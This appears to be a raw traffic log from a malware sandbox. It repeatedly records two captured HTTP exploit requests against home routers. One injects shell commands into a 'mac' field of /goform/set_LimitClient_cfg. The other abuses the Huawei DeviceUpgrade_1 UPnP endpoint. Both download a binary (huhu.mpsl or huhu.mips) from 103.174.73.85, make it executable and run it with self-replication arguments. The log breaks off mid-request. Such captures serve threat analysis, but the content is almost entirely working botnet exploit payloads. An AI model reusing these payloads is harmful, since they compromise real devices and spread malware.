Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 